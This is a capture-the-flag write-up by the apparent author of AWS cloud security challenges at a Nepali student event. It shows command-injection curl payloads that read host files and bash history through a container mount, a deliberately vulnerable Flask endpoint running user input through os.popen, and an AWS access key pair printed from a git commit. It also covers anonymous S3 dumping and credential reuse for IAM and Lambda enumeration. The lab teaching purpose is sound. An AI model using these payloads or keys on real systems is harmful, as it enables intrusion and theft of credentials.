Skip to content

AWS Student Community Day Nepal CTF Writeup

Published: at 12:00 AM

AWS Student Community Day Nepal was a remarkable event that brought together cloud-enthusiasts students and professionals across Nepal from all regions. Once again kudos to AWS Cloud Club Nepal for this event that empowered students by offering good exposure on AWS including travel scholarships. It was an honor to be part of this event, contributing in shades of shadow by creating challenges for the Capture The Flag(CTF) competition.

Eventually, AWS CTF became the highlight of the event. I was able to connect and collaborate during the creation of CTF with different clubs [Women in CyberSecurity Nepal, Pentester] members. This AWS CTF tested out the participants’ insights of AWS service with cloud security. As a cloud security advocate and the author of CTF challenges, I am excited to share this detailed write-up.

We opened the registration a week before the event and by the final days, we had registered over 100 participants. Initially, I wrote only 5 labs which was enough within 3 three-hour timespan. Due to the overwhelming number of participants including professional security community group members, I had to make an additional 2 within a day outside my office working hours as well. Unlike traditional CTF, it was focused particularly AWS centric challenges. It was the first ever happened such CTF in Nepal.

Due to heavy rain and climate condition of the event venue[kathmandu], I missed this event physically. But I was in the shadow operating the whole CTF which was cool at the weekend. Thank all the volunteers for making this event successful.

The competition was awesome and participants were excited whenever they got the flag of the challenge. Some even got rick-rolled during the challenge. I had some awesome feedback as well to improve such CTF in the future.

I leverage the open-source tools for the CTF Event platform, CTFd. Our whole challenges including the platform CTFd was at AWS. We kept out the infrastructure and running till the next weekend. Let’s get through the challenge that happened over AWS Student Community Nepal’s CTF.

Table of Contents

Open Table of Contents

Overview of the Challenges

Mistaken Image

This challenge involves finding out the ECR image which was mistakenly made public and exposed some doors over the internet.

Let’s begin by cloning the repository.

git clone https://github.com/ajutamangdev/serverless
cd serverless
cat README.md

Content of the README.md

# Welcome to the CTF Challenge

Click here to retrieve the [flag](https://www.youtube.com/watch?v=dQw4w9WgXcQ).

Hints: [r4s1p1w2/awscloudclubnepal]

We can see some hints again r4s1p1w2/awscloudclubnepal. It might be possibly public ECR image. Let’s check over the history of commits as well.

> git log
commit c6fb7e416dcf518c9424a993dfdc8f895f89dbe3 (HEAD -> main, origin/main, origin/HEAD)
Author: ajutamang
Date:   Fri Sep 27 17:57:38 2024 +0545

 chore: add some hints for the mistaken image challenge

commit 09108a742169bbcbc6e82d4ad5ae97b0df84462d
Author: ajutamang 
Date:   Fri Sep 27 17:46:45 2024 +0545

 fix: docs README.md

commit 4db018697ca5ee18954470ad91062f6e5532ca3c
Author: ajutamang 
Date:   Fri Sep 27 17:45:53 2024 +0545

 docs: README.md AKIAUGO4KMZB3BZCJ5ML fKlEEWlXZomMuTPxP3AgCsjf2ORr1nkkh8lGc1Fy

For graphical view via Git Hub.

Note that in the initial commit, we can see the developer accidentally pushed AWS credentials as well. We can keep a note for this as well which might be usable.

Navigate over Gallery of ECR image. Search out the r4s1p1w2/awscloudclubnepal.

Pulled the ECR image and ran the image as a container.

docker pull public.ecr.aws/r4s1p1w2/awscloudclubnepal:latest
sudo docker run -it public.ecr.aws/r4s1p1w2/awscloudclubnepal
/ # ls
bin    etc    home   media  opt    root   sbin   sys    usr
dev    flag   lib    mnt    proc   run    srv    tmp    var
/ # cd flag
/flag # ls
flag.txt
/flag # cat flag.txt 
CTF{nyLLUw66QXkETtij}

Key Lessons

Pwned the Bucket

This challenge involves identifying an S3 bucket, exploiting misconfiguration, and uncovering the useful data stored in an S3 bucket.

With such a response, we prefer this to be related to the S3 bucket. Use nslookup for further information gathering and check where ctf.csaju.com points to .

> nslookup ctf.csaju.com
Server:     1.1.1.1
Address:    1.1.1.1#53

Non-authoritative answer:
ctf.csaju.com   canonical name = awscommunitydayctf.s3.ap-south-1.amazonaws.com.
awscommunitydayctf.s3.ap-south-1.amazonaws.com  canonical name = s3-r-w.ap-south-1.amazonaws.com.
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.66.51
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.211.161
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.210.175
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.210.171
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.211.152
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.212.0
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 3.5.212.60
Name:   s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.158.170

You can in the result point to s3 bucket [awscommunitydayctf.s3.ap-south-1.amazonaws.com]. Try to go over the bucket.

aws s3 ls s3://awscommunitydayctf --no-sign-request

Bucket is public and it exposes all the public objects inside of it. You can use AWS CLI to dump all those objects and retrieve the flag.

aws s3 sync s3://awscommunitydayctf dump --no-sign-request
cd dump
cat pdf/main.inc

As hint suggested use S3 inspector like S3Khoj. You can clone the repository release the binary and utilize it.

git clone https://github.com/ajutamangdev/S3Khoj
cd S3Khoj
make build
./S3Khoj -h

Ensure you have installed Go lang and build essentials. You can also pull the S3Khoj binary via docker.

For more references.

Once you installed the S3Khoj. Use -b flag to name out the public S3 bucket.

> S3Khoj -b awscommunitydayctf -d

 _________________  ____  __.__               __ 
 /   _____/\_____  \|    |/ _|  |__   ____    |__|
 \_____  \   _(__  <|      < |  |  \ /  _ \   |  |
 /        \ /       \    |  \|   Y  (  <_> )  |  |
/_______  //______  /____|__ \___|  /\____/\__|  |
 \/        \/        \/    \/      \______|

S3Khoj is a robust tool designed for pentesters to extract juicy information from the publicly accessible S3 buckets
    
[+] Bucket 'awscommunitydayctf' is publicly accessible.
Bucket found in region ap-south-1
[+] Found matching file 'index.html' in bucket 'awscommunitydayctf'
[+] Found matching file 'pdf/main.inc' in bucket 'awscommunitydayctf'
Matching files: [index.html pdf/main.inc]
All files: [backup/main.py doc/main.docx flag.mp3 index.html main.css main.js pdf/1.pdf pdf/main.inc]
Skipping non-matching file: backup/main.py
Skipping non-matching file: doc/main.docx
Skipping non-matching file: flag.mp3
Downloaded: awscommunitydayctf_downloads/index.html
Skipping non-matching file: main.css
Skipping non-matching file: main.js
Skipping non-matching file: pdf/1.pdf
Downloaded: awscommunitydayctf_downloads/pdf/main.inc
Total files downloaded: 2

Retrieve the flag.

cat awscommunitydayctf_downloads/pdf/main.inc 
CTF{vZoF4sRjNxTVJXrI}

Key lesson

Breached the DB

This challenge involved the exposure of the database and led to several stuff.

Fuzz out the URL and you will be able to perform GET over url/.secrets/backup.db.

curl https://awscloudclubnepal.com/.secrets/backup.db

Once you have downloaded the file .db which is sqlite one. Import the backup.db using sqlite3.

sqlite3 backup.db

You can export those credentials on a custom AWS profile or override your default profile.

aws --region us-east-1 --profile custom-profile dynamodb scan --table-name awscloudclubnepal

Serverless

This challenge is about the enumeration of serverless function apps.

Remember we had this repository earlier as well.

Let’s export noted credentials in our default profile or custom one which was exposed by the developer accidentally over commit messages.

Key Lessons

aws lambda list-functions --region ap-south-1
{
 "Functions": [
 {
 "FunctionName": "EnvBreaches",
 "FunctionArn": "arn:aws:lambda:ap-south-1:288761734723:function:EnvBreaches",
 "Runtime": "python3.10",
 "Role": "arn:aws:iam::288761734723:role/service-role/EnvBreaches-role-9b68sucr",
 "Handler": "lambda_function.lambda_handler",
 "CodeSize": 420,
 "Description": "A starter AWS Lambda function.",
 "Timeout": 3,
 "MemorySize": 128,
 "LastModified": "2024-09-24T11:26:41.000+0000",
 "CodeSha256": "v1xwIoDXIUeuD0DlTfWkCCHYaQpg/RAtlvvfc1IfpV4=",
 "Version": "$LATEST",
 "Environment": {
 "Variables": {
 "SECRET_KEY": "CTF{wow_congrats}"
 }
 },
 "TracingConfig": {
 "Mode": "PassThrough"
 },

Balti

This challenge is about reverse engineering and finding out the flag one.

Use Android RE tools like apktool or jadx to decompile apk files. Using jadx you can able to see hardcoded AWS credentials on the codebase. AWS credentials allow you to authenticate and interact with AWS services.

Let’s export those credentials first and perform some enumeration.

aws sts get-caller-identity
{
 "UserId": "AIDAUGO4KMZB4PGSYXVZZ",
 "Account": "288761734723",
 "Arn": "arn:aws:iam::288761734723:user/mobile"
}

Next will be listing out the IAM policies attached to the user account[mobile]. We can see that user has S3 and IAM policy resources.

aws iam list-attached-user-policies --user-name mobile
{
 "AttachedPolicies": [
 {
 "PolicyName": "oggy_bhai",
 "PolicyArn": "arn:aws:iam::288761734723:policy/oggy_bhai"
 },
 {
 "PolicyName": "IAMReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
 }
 ]
}

Let’s examine the permission of oggy_bhai policy. This policy grants read access to specific S3 buckets.

aws iam get-policy-version --policy-arn arn:aws:iam::288761734723:policy/oggy_bhai --version-id v11
 {
 "PolicyVersion": {
 "Document": {
 "Version": "2012-10-17",
 "Statement": [
 {
 "Sid": "AllowSpecificBucketActions",
 "Effect": "Allow",
 "Action": [
 "s3:GetObject",
 "s3:ListBucket"
 ],
 "Resource": [
 "arn:aws:s3:::oggyandcockroachesbucket",
 "arn:aws:s3:::oggyandcockroachesbucket/*"
 ]
 },
 {
 "Sid": "AllowIAMPolicyReadAccess",
 "Effect": "Allow",
 "Action": [
 "iam:GetPolicy",
 "iam:GetPolicyVersion"
 ],
 "Resource": "arn:aws:iam::288761734723:policy/oggy_bhai"
 }
 ]
 },
 "VersionId": "v11",
 "IsDefaultVersion": true,
 "CreateDate": "2024-09-27T11:11:45+00:00"
 }
}

Since the policy allows access to the oggyandcockraochesbucket bucket, let’s list the contents and sync them locally.

aws s3 ls s3://oggyandcockroachesbucket
oggy.txt
aws s3 sync s3://oggyandcockroachesbucket .
download: s3://oggyandcockroachesbucket/oggy.txt to ./oggy.txt
cat oggy.txt
tLgxjcbrlmkAoYdR

Key Lessons

Escape your vessel

This challenge was around discovering the hidden endpoints on a web server running inside the container and having container privilege escalation vulnerability.

To begin, let’s fuzz the input URL for hidden endpoints. I used ffuf to identify hidden endpoints with my custom directory wordlist.

ffuf -w common.txt -u http://13.234.195.12/FUZZ

 /'___\  /'___\           /'___\       
 /\ \__/ /\ \__/  __  __  /\ \__/       
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 \ \_\   \ \_\  \ \____/  \ \_\       
 \/_/    \/_/   \/___/    \/_/       

 v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://13.234.195.12/FUZZ
 :: Wordlist         : FUZZ: /home/csaju/Documents/ctf/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

hi                      [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 52ms]
health                  [Status: 200, Size: 10, Words: 3, Lines: 1, Duration: 67ms]
:: Progress: [4734/4734] :: Job [1/1] :: 283 req/sec :: Duration: [0:00:17] :: Errors: 0 ::

wordlist: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt

From this, we discovered two endpoints

We then tested the endpoint by sending a POST request with a simple command injection payload.

curl -X POST http://13.234.195.12/hi -d 'command=ls'
Dockerfile
app.py

The endpoint was vulnerable to command injection which allows us to execute system commands. Let’s investigate the source code to understand how it works.

curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
FROM python:3.9-slim

WORKDIR /app

COPY . /app

RUN pip install flask

EXPOSE 80

CMD ["python", "app.py"]

Dockerfile revealed that app was running a flask server.

curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/')
def home():
 return 'Welcome to AWS Student Community Day'

@app.route('/health')
def health():
 return 'Site is up'


@app.route('/hi', methods=['POST'])
def execute():
 command = request.form.get('command')
 result = os.popen(command).read()
 return result

if __name__ == '__main__':
 app.run(host='0.0.0.0', port=80)

From here, the execute() function in /hi endpoint allowed commands to be executed on the underlying system. During further investigation, the container had access to the host’s file system. The host directory was mapped to the root of the host machine. Let’s confirm.

curl -X POST http://13.234.195.12/hi -d 'command=df -h'
Filesystem      Size  Used Avail Use% Mounted on
overlay         6.8G  3.2G  3.6G  47% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/root       6.8G  3.2G  3.6G  47% /host
devtmpfs        2.0G     0  2.0G   0% /host/dev
tmpfs           2.0G     0  2.0G   0% /host/dev/shm
tmpfs           783M 1004K  782M   1% /host/run
tmpfs           5.0M     0  5.0M   0% /host/run/lock
/dev/loop1       26M   26M     0 100% /host/snap/amazon-ssm-agent/7993
/dev/loop0       56M   56M     0 100% /host/snap/core18/2829
/dev/loop2       39M   39M     0 100% /host/snap/snapd/21759
/dev/xvda16     881M  133M  687M  17% /host/boot
/dev/xvda15     105M  6.1M   99M   6% /host/boot/efi
/dev/loop3       56M   56M     0 100% /host/snap/core18/2846
/dev/loop4       75M   75M     0 100% /host/snap/core22/1621
/dev/loop5       26M   26M     0 100% /host/snap/amazon-ssm-agent/9565

Let’s inspect the bash history of the host’s user so we can retire content from files.

curl -X POST http://13.234.195.12/hi -d 'command=cat /host/home/ubuntu/.bash_history'

Based on bash_history, recent changes were at /var/log directory and some files. Let’s retrieve content there.

curl -X POST http://13.234.195.12/hi -d 'command=cat /host/var/log/flag.txt'

CTF{PC1RVV1ZA2OI5AP}

This was also an AWS $25 credit coupon voucher which was eventually received by the participant.

Lessons

Exposed volume

This challenge was about exploiting a public snapshot of the volume.

Majority hints were free and didn’t reduce the points.

Let’s dive into robots.txt of awscloudclubnepal.com The content of the robots.txt file revealed a snapshot.

Let’s confirm whether the snapshot is public or not. A developer might accidently make the snapshot public leading to more exposure to their environment.

Let’s mount the snapshot to our instance to explore the contents of the volume. You should provision out the instances initially.

You have options to create the volume or release the image. Create a new volume from the snapshot.

Attached it to a running healthy instance.

Mount it to the file system and explore the content of the file of the snapshot’s volume.

Key Lessons:

Conclusion

Congratulations to the winners!

It was fascinating to see such diverse participants in the AWS CTF, and it was particularly inspiring to witness the strong presence of women taking on challenges, highlighting the importance of diversity in cybersecurity; I learned a lot from their feedback after the event, and I extend a heartfelt thank you to all the volunteers who made this event successful;

Additionally, this experience reinforced the significance of securing cloud services and inspired me to give back to the AWS Student community, motivating me to continue pushing forward in my career.